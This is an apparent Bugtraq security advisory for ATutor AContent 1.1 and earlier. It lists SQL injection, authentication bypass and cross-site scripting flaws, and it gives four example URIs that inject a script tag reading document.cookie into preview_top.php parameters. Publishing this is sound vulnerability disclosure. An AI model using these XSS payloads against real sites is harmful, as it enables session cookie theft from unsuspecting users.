AContent Multiple Remote Security Vulnerabilities

Bugtraq ID:	56100
Class:	Unknown
CVE:	CVE-2012-5167 CVE-2012-5168 CVE-2012-5169
Remote:	Yes
Local:	No
Published:	Oct 17 2012 12:00AM
Updated:	Oct 17 2012 12:00AM
Credit:	High-Tech Bridge Security Research Lab
Vulnerable:	ATutor AContent 1.1
Not Vulnerable:

AContent Multiple Remote Security Vulnerabilities

AContent is prone to following multiple remote security vulnerabilities:

1. Multiple SQL-injection vulnerabilities
2. Multiple authentication-bypass vulnerabilities
3. Multiple cross-site-scripting vulnerabilities

A successful exploit of these issues may allow an attacker to gain unauthorized access to the affected application, compromise the application, access or modify data, exploit vulnerabilities in the underlying database, execute arbitrary script code within the context of the browser, and steal cookie-based authentication credentials.

AContent 1.2 and prior versions are vulnerable.

AContent Multiple Remote Security Vulnerabilities

An attacker can exploit these issues through a browser. An attacker must trick an unsuspecting victim into following a malicious URI to exploit the cross-site scripting issues.

The following example URIs are available:

http://www.example.com/file_manager/preview_top.php?pathext=%22%3 %3Cscript%3Ealert%28document.cookie%29;%3C/ script%3E

http://www.example.com/file_manager/preview_top.php?popup=%22%3 %3Cscript%3Ealert%28document.cookie%29;%3C/sc ript%3E

http://www.example.com/file_manager/preview_top.php?framed=%22%3 %3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E

http://www.example.com/file_manager/preview_top.php?file=%22%3 %3Cscript%3Ealert%28document.cookie%29;%3C/scr ipt%3E

AContent Multiple Remote Security Vulnerabilities

Solution:
Updates are available. Please see the references for more information.

AContent Multiple Remote Security Vulnerabilities

References:

• AContent Product Page (atutor.com)
  
• Multiple vulnerabilities in AContent (High-Tech Bridge)